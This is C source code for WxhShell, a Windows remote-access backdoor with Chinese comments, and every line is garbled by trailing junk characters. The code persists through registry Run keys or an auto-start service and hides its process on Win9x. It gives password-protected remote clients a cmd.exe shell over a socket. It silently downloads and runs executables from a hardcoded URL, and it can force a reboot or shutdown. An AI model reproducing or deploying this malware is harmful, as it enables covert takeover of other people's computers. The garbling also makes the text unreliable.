    if(Boot(SHUTDOWN)) /D&7 \3}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r@~"R x'  
    else { h;?H4j  
    closesocket(wsh); 1/% g VB8  
    ExitThread(0); `c%{M4bF\  
    } x|`o7.  
    break; )$7-CNWr~  
    } Emx`+9  
  // 获取shell KBkS>0;X  
  case 's': { Cqc5jx0)  
    CmdShell(wsh); 0mD=Rjb*a  
    closesocket(wsh); \zGmZZ  
    ExitThread(0); f?|cQ[#t!\  
    break; q}0xQjpo  
  } @<,YUp,%S  
  // 退出 b'$fr6"O1  
  case 'x': { p`2w\P3;)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oVYW '~OID  
    CloseIt(wsh); S1D=' k]  
    break; o/5loV3h  
    } mx;1'!'fr  
  // 离开 5T- N\)@  
  case 'q': { P{gy/'PH,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C3>`e3v  
    closesocket(wsh); =#|K-X0d=  
    WSACleanup(); -N~eb^3[c  
    exit(1); 3C7}V{?  
    break; J2d 3&6  
        } P!K;`4Ika  
  } W2W4w  
  } .1#G*A|  
N!iugGL  
  // 提示信息 5}MjS$2og  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4J${gcju  
} 5 i;n:&Y  
  } deVbNg8gs  
UG:S!w'  
  return; na,i(m?l  
} 1]% ]"JbV  
%6eQ;Rp*  
// shell模块句柄 +(l(|lQy$  
int CmdShell(SOCKET sock) E[kf%\  
{ (Y>|P  
STARTUPINFO si; pRrokYM d  
ZeroMemory(&si,sizeof(si)); 052e zh_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7IUu] Fi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gbrc!3K2  
PROCESS_INFORMATION ProcessInfo; IP=."w  
char cmdline[]="cmd"; T\b-<Xle  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h<I C d'!  
  return 0; U,2H) {l/  
} Z.rR)  
(+lCh7.  
// 自身启动模式 ('Doy1L  
int StartFromService(void) nkii0YB!  
{ K! I]0!:  
typedef struct `D~wY^q{  
{  "yA=Tw  
  DWORD ExitStatus; I@jXW>$  
  DWORD PebBaseAddress; ,wPvv(b]a  
  DWORD AffinityMask; ZtPnHs.x  
  DWORD BasePriority; yHIZpU|(j  
  ULONG UniqueProcessId; Zm+QhnY|  
  ULONG InheritedFromUniqueProcessId; iz @LS  
}   PROCESS_BASIC_INFORMATION; O/1:2G/`  
Hu-Y[~9^L:  
PROCNTQSIP NtQueryInformationProcess; LCouDk(=`  
q9iHJ'lMD*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MQvk& AX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s !XJ   
<yxy ;o  
  HANDLE             hProcess; K 0Gm ?(  
  PROCESS_BASIC_INFORMATION pbi; 6Ud6F t6  
[ 30ta<-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yZcnky  
  if(NULL == hInst ) return 0; lZ>j:/R8^&  
 A4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $-ICTp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [JyhzYf\   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o~J~-$T{  
q88;{?T1  
  if (!NtQueryInformationProcess) return 0; TQ&1!~L*  
'%y5Dh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q$lgC v^M  
  if(!hProcess) return 0; ]**h`9MF  
yh:Wg$qx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SQ0?M\D7  
}K'gjs/N;  
  CloseHandle(hProcess); |rr<4>)X  
%]1.)j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vtu!* 7m  
if(hProcess==NULL) return 0; Y6w7sr_R  
Wv7hY"  
HMODULE hMod; iPeW;=-2Wk  
char procName[255]; [8v>jQ)  
unsigned long cbNeeded; Um2RLM%  
_6!@>`u~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &$L6*+`h#  
N3$%!\~O  
  CloseHandle(hProcess); Y7_2pGvZ  
Z;M th#  
if(strstr(procName,"services")) return 1; // 以服务启动 c]]e(  
r~q 3nIe/,  
  return 0; // 注册表启动 -.!+i8d>  
} :pXY/Pa  
KMll8X  
// 主模块 |D1:~z  
int StartWxhshell(LPSTR lpCmdLine) \qZ>WCp>r  
{ zz* *HwRt  
  SOCKET wsl; [ @ASAhV^+  
BOOL val=TRUE; &w'1  
  int port=0;  e gdbv  
  struct sockaddr_in door; |9Pi*)E  
;6AanwR6  
  if(wscfg.ws_autoins) Install(); \S]` { kY,  
G5,g$yNs  
port=atoi(lpCmdLine); ?ytY8`PC  
a>8&B  
if(port<=0) port=wscfg.ws_port; 6QM$aLLP?  
dng^#|X)?  
  WSADATA data; >i!y[F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v9"|VhZ  
k(ho?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?R":"*eu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )\RG NJMC  
  door.sin_family = AF_INET; M'|?* aNK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !=bGU=^  
  door.sin_port = htons(port); ;}KT 3Q<^  
[MXyOE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5hj _YqQ7  
closesocket(wsl); ;FnU[Q`M#L  
return 1; C/#?S=w`4  
} aE 2=  
0T2^$^g  
  if(listen(wsl,2) == INVALID_SOCKET) { K3xt,g  
closesocket(wsl); w:nLm,  
return 1; FxdWJ|rN9D  
} /1h ${mo~  
  Wxhshell(wsl); d.xT8l}sS  
  WSACleanup(); Y. Uca<{.[  
@p%WFNR0  
return 0; 4Is Wp!`W  
9}A\Bh tiM  
} l8H8c &  
+%=lu14G  
// 以NT服务方式启动 M REB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >UnLq:G  
{ ]O&\Pn0q  
DWORD   status = 0; 3Pgld*i7  
  DWORD   specificError = 0xfffffff; Z9q1z~qSQ  
ac%x\e$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L ARMZoyi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k@P?,r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L Z}m;  
  serviceStatus.dwWin32ExitCode     = 0; p\22_m_wd  
  serviceStatus.dwServiceSpecificExitCode = 0; 5$&',v(  
  serviceStatus.dwCheckPoint       = 0; utU ;M*  
  serviceStatus.dwWaitHint       = 0; 5Zuk`%O  
^GnR1.ux  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IC:>60A,]  
  if (hServiceStatusHandle==0) return; uNf97*~_  
e7r3o,!  
status = GetLastError(); 9c{T|+ ]  
  if (status!=NO_ERROR) 5;@2SY7 ,  
{ js;k,`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  N<~LgH  
    serviceStatus.dwCheckPoint       = 0; 6%Pvh- ~_  
    serviceStatus.dwWaitHint       = 0; Hq aay  
    serviceStatus.dwWin32ExitCode     = status; Ij2T h]  
    serviceStatus.dwServiceSpecificExitCode = specificError; a"m-&mN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]jSRO30H3<  
    return; j~Mx^ivwj  
  } *:?XbtIK u  
`_e5pW=:>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2$b JMx>  
  serviceStatus.dwCheckPoint       = 0; wGgeK,*_  
  serviceStatus.dwWaitHint       = 0; a[jNT$8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *nB-] w/  
} "#P#;]\`  
tQE<'94A  
// 处理NT服务事件,比如:启动、停止 "2ZuI; w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L| ]fc9W:  
{ 2"EaF^?\  
switch(fdwControl) zmFS]IOv$  
{ nT9Hw~f<j  
case SERVICE_CONTROL_STOP: L KLLBrm:  
  serviceStatus.dwWin32ExitCode = 0; D<'G\#n3I=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /h 4rW>8D2  
  serviceStatus.dwCheckPoint   = 0; B&AF(e (  
  serviceStatus.dwWaitHint     = 0; z\-/R9E/5-  
  { i,2eoM)FB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3LZvlcLb  
  } 7LsVlT[  
  return; 9^E!2CJ  
case SERVICE_CONTROL_PAUSE: ^qLesP#   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "~q~)T1Z  
  break; iL|5}x5\  
case SERVICE_CONTROL_CONTINUE: ujf7r`;u.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M'JCT'(X  
  break; N!./u(b  
case SERVICE_CONTROL_INTERROGATE: hjz`0AS  
  break; p\Fxt1Y@X  
}; 3Xm> 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a5pXn v]A  
} gOr%N!5  
M7{_"9X{  
// 标准应用程序主函数 8On MtP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?8FJMFv;4%  
{ {E.A?yej9  
~9#'s'  
// 获取操作系统版本 q4g)/x%nc  
OsIsNt=GetOsVer(); K%UjPzPWw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XB]>Z)  
o|w w>m  
  // 从命令行安装 Q]<6voyy  
  if(strpbrk(lpCmdLine,"iI")) Install(); @U:PXCvh  
 |CAMdU  
  // 下载执行文件 !Y 9V1oVf"  
if(wscfg.ws_downexe) { 7bQST0 ?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ymf@r?F<  
  WinExec(wscfg.ws_filenam,SW_HIDE); K5F;/ KR"  
} pJIJ"o'>.9  
uSv]1m_-]  
if(!OsIsNt) { H.[nr:  
// 如果时win9x,隐藏进程并且设置为注册表启动 %<`sDO6Q?  
HideProc(); .\ :MB7p  
StartWxhshell(lpCmdLine); tAkv'.  
} 5> !N)pA  
else 'EN80+xYX  
  if(StartFromService()) FSkLR h  
  // 以服务方式启动 `3*QKi$  
  StartServiceCtrlDispatcher(DispatchTable); #e1iYFgS  
else yq[. WPve  
  // 普通方式启动 lYmxd8  
  StartWxhshell(lpCmdLine); c]"w0a-`^@  
j /@<=  
return 0; tJ .Ln  
} Z29LtKr  
! F<::fN  
7g:Lj,Z4L  
-@@ O<M^  
=========================================== 53>(2 _/[r  
<d O ~;  
LI<Emez  
5}a.<  
K+ ~1z>&  
RK p9[^/?  
" ihekON":  
+U4';[LG1C  
#include <stdio.h> \-sW>LIA  
#include <string.h> s>%.bAxc  
#include <windows.h> d[Zx [=h  
#include <winsock2.h> f4VdH#eng`  
#include <winsvc.h> /PbMt  
#include <urlmon.h> 7}e5ac  
5Pf)&iG  
#pragma comment (lib, "Ws2_32.lib") % bKy  
#pragma comment (lib, "urlmon.lib") gLg.mV1<  
<$ qT(3w<y  
#define MAX_USER   100 // 最大客户端连接数 #fk1'c2  
#define BUF_SOCK   200 // sock buffer  ^Vf@J  
#define KEY_BUFF   255 // 输入 buffer a^_W}gzzd  
wc-v]$DW  
#define REBOOT     0   // 重启 Ai)>ot  
#define SHUTDOWN   1   // 关机 DK20}&RQ  
:4)(Qa(  
#define DEF_PORT   5000 // 监听端口 n5)ml)m  
Ti7 @{7>  
#define REG_LEN     16   // 注册表键长度 PPh<9$1\g  
#define SVC_LEN     80   // NT服务名长度 =RZ PDu  
ZXXJ!9-&+J  
// 从dll定义API gyegdky3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ryqu2>(   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qJ2Z5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3Pp+>{2_?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wf-XH|j[  
\.>7w 1p  
// wxhshell配置信息 zF|c3ap  
struct WSCFG { CH q5KB98+  
  int ws_port;         // 监听端口 Uy*d@vU9c  
  char ws_passstr[REG_LEN]; // 口令 A 8-a}0Gh  
  int ws_autoins;       // 安装标记, 1=yes 0=no hQ@#h`lS  
  char ws_regname[REG_LEN]; // 注册表键名 ]z#)XW3#i  
  char ws_svcname[REG_LEN]; // 服务名 =)Fb&h]G^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5z\,]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F_I!qcEQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #l@P}sHXq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'z{|#zd9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w#ZzmO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sLFZ 61rT  
M8$e MS1  
}; 4* I XBi7%  
h<bhH=6~  
// default Wxhshell configuration ~gHn>]S0  
struct WSCFG wscfg={DEF_PORT, P00%EB  
    "xuhuanlingzhe", Z9|A"[b  
    1, s0:M'wA  
    "Wxhshell", 9JX@c k  
    "Wxhshell", {:3:GdM6  
            "WxhShell Service", %3AE2"  
    "Wrsky Windows CmdShell Service", pvb&vtp  
    "Please Input Your Password: ", l<+PA$+}}  
  1, Uq`6VpZ  
  "http://www.wrsky.com/wxhshell.exe", _+ Sf+ta  
  "Wxhshell.exe" o^Lq8u;i*  
    }; E " >`  
oE6`]^^  
// 消息定义模块 7WY~v2SDF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Kr$JIcd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z30 mk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EUVD)+it  
char *msg_ws_ext="\n\rExit."; :U/]*0b  
char *msg_ws_end="\n\rQuit."; #Ma:Av/ )  
char *msg_ws_boot="\n\rReboot..."; !0P:G#o-$  
char *msg_ws_poff="\n\rShutdown..."; w%..*+P  
char *msg_ws_down="\n\rSave to "; g$zGiqzMK  
H=w):kL|  
char *msg_ws_err="\n\rErr!"; vVIN D  
char *msg_ws_ok="\n\rOK!"; J*Ie# :J]  
Ryh 0r  
char ExeFile[MAX_PATH]; (:O6sTx-hE  
int nUser = 0; <&gs)BY  
HANDLE handles[MAX_USER]; T>7N "C  
int OsIsNt; m{$}u@a  
{`e-%<  
SERVICE_STATUS       serviceStatus; 7a^D[f0V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U OGjil{.  
t\'MB  
// 函数声明 [@JK|50|K  
int Install(void); +u*Pi  
int Uninstall(void); ;#S]mso1  
int DownloadFile(char *sURL, SOCKET wsh); /xcXd+k]  
int Boot(int flag); 6\jbSe  
void HideProc(void); D$>&K&  
int GetOsVer(void); *wY+yoj  
int Wxhshell(SOCKET wsl); #:P$a%V  
void TalkWithClient(void *cs); ngmC~l*,  
int CmdShell(SOCKET sock); B~| ]gd  
int StartFromService(void); +rA#]#hN  
int StartWxhshell(LPSTR lpCmdLine); *uf)t,%  
>;R`Q9s7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .MRN)p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5f?GSHA}  
*W`7JL,  
// 数据结构和表定义 uv8k ea .(  
SERVICE_TABLE_ENTRY DispatchTable[] = +P Dk>PdEt  
{ RAk"C!&^m  
{wscfg.ws_svcname, NTServiceMain}, H V-;? 5  
{NULL, NULL} I8% -ii  
}; WTM  
eThFRU3 F  
// 自我安装 Nnr[@^M5  
int Install(void) "Nb2[R  
{ BfCnyL%  
  char svExeFile[MAX_PATH]; _`O",Ff  
  HKEY key; 4b((,u$  
  strcpy(svExeFile,ExeFile); @"A 5yD5  
D&I/Tbc  
// 如果是win9x系统,修改注册表设为自启动 /$]S'[5uF  
if(!OsIsNt) { 4o;;'P   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k;`1Ia  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 5)C7tJ-g  
  RegCloseKey(key); F$jy~W_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bvrXz-j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - 0q263z  
  RegCloseKey(key); _9H]:]1QH  
  return 0; d>W#c8X>  
    } {.p;V  
  } hkm}oYW+  
} %&VI-7+K  
else { }*}F_Y+  
::'Y07  
// 如果是NT以上系统,安装为系统服务 ~piE$"]&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HeO&p@  
if (schSCManager!=0) RticGQy&5  
{ 5h^BXX|Y*  
  SC_HANDLE schService = CreateService 1?^ P=^8   
  ( [! wJIy?,  
  schSCManager, iY?#R&  
  wscfg.ws_svcname, _&U#*g  
  wscfg.ws_svcdisp, 9-q> W  
  SERVICE_ALL_ACCESS, d$x vEm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cYe2 a "  
  SERVICE_AUTO_START, u-s*k*VHoc  
  SERVICE_ERROR_NORMAL, ,}@4@ >?K  
  svExeFile, #NGtba  
  NULL, 7&wxnxSk^  
  NULL, I{>Z0+  
  NULL, :_:)S  
  NULL, %72(gR2Wa2  
  NULL 8>LDo"<  
  ); 3**t'iWQ  
  if (schService!=0) G 4~@  
  { VF";p^  
  CloseServiceHandle(schService); L(cKyg[R  
  CloseServiceHandle(schSCManager); RSbq<f>BFo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |<,0*2  
  strcat(svExeFile,wscfg.ws_svcname); 8> $=p4bf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (n: A` ]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XNfl  
  RegCloseKey(key); lF.kAEC  
  return 0; V!Sm,S(  
    } 3{t[>O;  
  } ^'M^0'_"v  
  CloseServiceHandle(schSCManager); ,dK)I1"C  
} @RszPH1B  
} H25Qx;(dTk  
CueC![pj  
return 1; Sy1O;RTn`  
} |[mmEYc  
<%% )C>l  
// 自我卸载 Qk>U=]U  
int Uninstall(void) (`E`xb@E,=  
{ %,z;W-#gnY  
  HKEY key; 4%8den,|  
?E+f<jol  
if(!OsIsNt) { u kZK*Y9P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CadIu x^  
  RegDeleteValue(key,wscfg.ws_regname); eD2eDxN2  
  RegCloseKey(key);  <)~-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U9^1 A*  
  RegDeleteValue(key,wscfg.ws_regname); @R%qP>_  
  RegCloseKey(key); IQtQf_"e1  
  return 0; {r;_nMfH|[  
  } kRwUR34yc  
} hDSf>X_*_G  
} Cd=$XJ-b  
else { 7}~w9jK"F  
[ 't.x=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yhbU;qEG9  
if (schSCManager!=0) Jq(;BJ90R  
{ 5Rs#{9YE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N[\J#x!U  
  if (schService!=0) czu9a"M>X  
  { SpU|Q1Q/h  
  if(DeleteService(schService)!=0) { :Z2997@Y  
  CloseServiceHandle(schService); @#N7M2/  
  CloseServiceHandle(schSCManager); PWx%~U.8~j  
  return 0; @MTv4eC}e  
  } @~|;/OY>"  
  CloseServiceHandle(schService); x*'H@!!G  
  } Pp8G2|bz  
  CloseServiceHandle(schSCManager); I;E?;i  
} d_pIB@J  
} .*9u_2<  
,"gPd!HD (  
return 1; u=W[ S)w  
} Dqc GzTz  
46e?%0(  
// 从指定url下载文件 5VOw}{Pt  
int DownloadFile(char *sURL, SOCKET wsh) : -#w  
{ uF}dEDB|;  
  HRESULT hr; S ;rd0+J  
char seps[]= "/"; ! M CV@5$  
char *token; uo2k  
char *file; :*|Ua%L_  
char myURL[MAX_PATH]; 4TPdq&';C:  
char myFILE[MAX_PATH]; Op]*wwI*h  
n~\; +U  
strcpy(myURL,sURL); 5XHejHn>  
  token=strtok(myURL,seps); %]0?vw:;j  
  while(token!=NULL) et)n`NlcK  
  { TB.>?*<n]  
    file=token; - QY<o|  
  token=strtok(NULL,seps); W]7<PL*u  
  } i\/'w]  
1_f+! ns#  
GetCurrentDirectory(MAX_PATH,myFILE); Udtz zka  
strcat(myFILE, "\\"); ElB[k<  
strcat(myFILE, file); c"lwFr9x7  
  send(wsh,myFILE,strlen(myFILE),0); T"za|Fo  
send(wsh,"...",3,0); U_PH#e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &@CUxK  
  if(hr==S_OK) wn.6l `  
return 0; Xy K,  
else kw2yb   
return 1; M$@~|pQ<  
9m2FH~  
} cf"&22TQ+Z  
E%D.a=UX,  
// 系统电源模块 |k*bWuXgLs  
int Boot(int flag) <W8 %eRfU  
{ l P=I0A-  
  HANDLE hToken; e<1Ewml(]  
  TOKEN_PRIVILEGES tkp; ?G',Qtz<K  
tl!dRV92  
  if(OsIsNt) { AQQa6Ce*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gM;m{gXYK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /"k[T  
    tkp.PrivilegeCount = 1; \ZV>5N3hS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $3p48`.\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9^n0<(99b  
if(flag==REBOOT) { ]*k ~jY,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .4"BN<9  
  return 0; nyR<pnuC'  
} 62'9lriQ  
else { 4Ps;Cor+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zw+wq+2"  
  return 0; Hqs-q4G$  
} gAztdA sLM  
  } P,)D0i  
  else { ey[Z<i1  
if(flag==REBOOT) { >M{98NH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l]wLQqoO  
  return 0; `Rt w'Uz  
} ><"|>(y  
else { D- C]0Jf3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B1~`*~@  
  return 0; K*DH_\SPK  
} \ Xh C  
} )6p6<y  
DDGDj)=`  
return 1; \7qj hA@  
} t(roj@!x_o  
e }C,)   
// win9x进程隐藏模块 *@#Gc%mGu  
void HideProc(void) N]iarYc  
{ Q) aZ0 Pt  
,|VLOY ^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PH8 88O  
  if ( hKernel != NULL ) nZ'jjS[!  
  { Nk\ni>Du3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,ps?@lD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); viYrPhH+z  
    FreeLibrary(hKernel); YfT D  
  } Z>y6[o  
C)yw b6  
return; ZLKbF9lo  
} __tA(uA  
0Mn |Yb4p  
// 获取操作系统版本 r7_%t_O|IL  
int GetOsVer(void) $X Uck[  
{ V 1d#7rP  
  OSVERSIONINFO winfo; ?b(wZ-/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PbvA~gm  
  GetVersionEx(&winfo); fOSk > gK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]C"?xy  
  return 1; 9"S iHp\)  
  else e&i`/m5  
  return 0; !})Y9oZc8  
} -:=m-3*Tg  
)_j(NX-C:  
// 客户端句柄模块 Wm"#"l4  
int Wxhshell(SOCKET wsl) zJ}abo6rVw  
{ k.54lNl  
  SOCKET wsh; U%@C<o "  
  struct sockaddr_in client; S`  U,  
  DWORD myID; <Bn0wr8)\  
/t]1_  
  while(nUser<MAX_USER) =EYgck;)  
{ [75?cQD  
  int nSize=sizeof(client); )XSHKPTQ1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T&6>Eb0{  
  if(wsh==INVALID_SOCKET) return 1; T'lycc4~a  
=BR+J9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,!^c`_Q\>@  
if(handles[nUser]==0) uc"%uc'  
  closesocket(wsh); q~aj" GD  
else }L|B@fW  
  nUser++; G+2fmVB*X  
  } > fV "bj.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .6rbn8h  
W-r^ME  
  return 0; ^4]=D nd%  
} V+lS\E.  
Z5U\>7@&8  
// 关闭 socket G^h:#T  
void CloseIt(SOCKET wsh) g^|R;s{  
{ v8C($<3%  
closesocket(wsh); /=za m3kd  
nUser--; K0vS  
ExitThread(0); YhRy C*b  
} [ t8]'RI%  
J{a9pr6  
// 客户端请求句柄 =c,7uB  
void TalkWithClient(void *cs) D{7^y>8_Y-  
{ <a_ (qh@B  
"v0bdaQH3  
  SOCKET wsh=(SOCKET)cs; ,m0 M:!hK  
  char pwd[SVC_LEN]; mc2uI-W  
  char cmd[KEY_BUFF]; wS,fj gX  
char chr[1]; ]57Ef'N  
int i,j; ~$^ >Vo  
c}S<<LR  
  while (nUser < MAX_USER) { +C7W2!I[G2  
l+y;>21sTu  
if(wscfg.ws_passstr) { sb_/FE5e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cg]Gt1SU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qp:m=f6@  
  //ZeroMemory(pwd,KEY_BUFF); / s Apj  
      i=0; \@h$|nb  
  while(i<SVC_LEN) { nLk`W"irM  
6/g 82kqpk  
  // 设置超时 e&!c8\F  
  fd_set FdRead; 8#,_%<?UVy  
  struct timeval TimeOut; Au)~"N~p?  
  FD_ZERO(&FdRead); ` wj'  
  FD_SET(wsh,&FdRead); R64f0N K.  
  TimeOut.tv_sec=8; 6)i>qz).  
  TimeOut.tv_usec=0; m-~3c]pA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cotySio$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ppLLX1S  
M?P\YAn$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Br<lP#u=G  
  pwd=chr[0]; :}#)ipr  
  if(chr[0]==0xd || chr[0]==0xa) { 4DL2 A;T  
  pwd=0; /|&4&$  
  break; >tMI%r  
  } <9xr? i=  
  i++; {!? M!/d  
    } F3o"ETle  
0cfGI%  
  // 如果是非法用户,关闭 socket @U?&1.\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %52x:qGa  
} Cq<Lj  
&'Nzw2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T]/>c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #k &#d9}  
E^{!B]/oP  
while(1) { *+6iXMwe  
Zi\ex\ )5  
  ZeroMemory(cmd,KEY_BUFF); >y#qn9rV1  
pih 0ME}z  
      // 自动支持客户端 telnet标准   r.Z g<T  
  j=0; e87a9ZPm  
  while(j<KEY_BUFF) { ?+Vi !eS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H13\8Te{  
  cmd[j]=chr[0]; J2oh#TGp  
  if(chr[0]==0xa || chr[0]==0xd) { < 0~1   
  cmd[j]=0; T <k;^iqR  
  break; D-i, C~W  
  } 6'uCwAQU  
  j++; X$Q.A^9  
    } Vep 41\g^  
726UO#*  
  // 下载文件 3PLA*n+%  
  if(strstr(cmd,"http://")) { ,|z zq@fk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tz9 (</y  
  if(DownloadFile(cmd,wsh)) pJl/d;Cyrb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Q3bU"f  
  else WL,2<[)Ew  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >@?mP$;=  
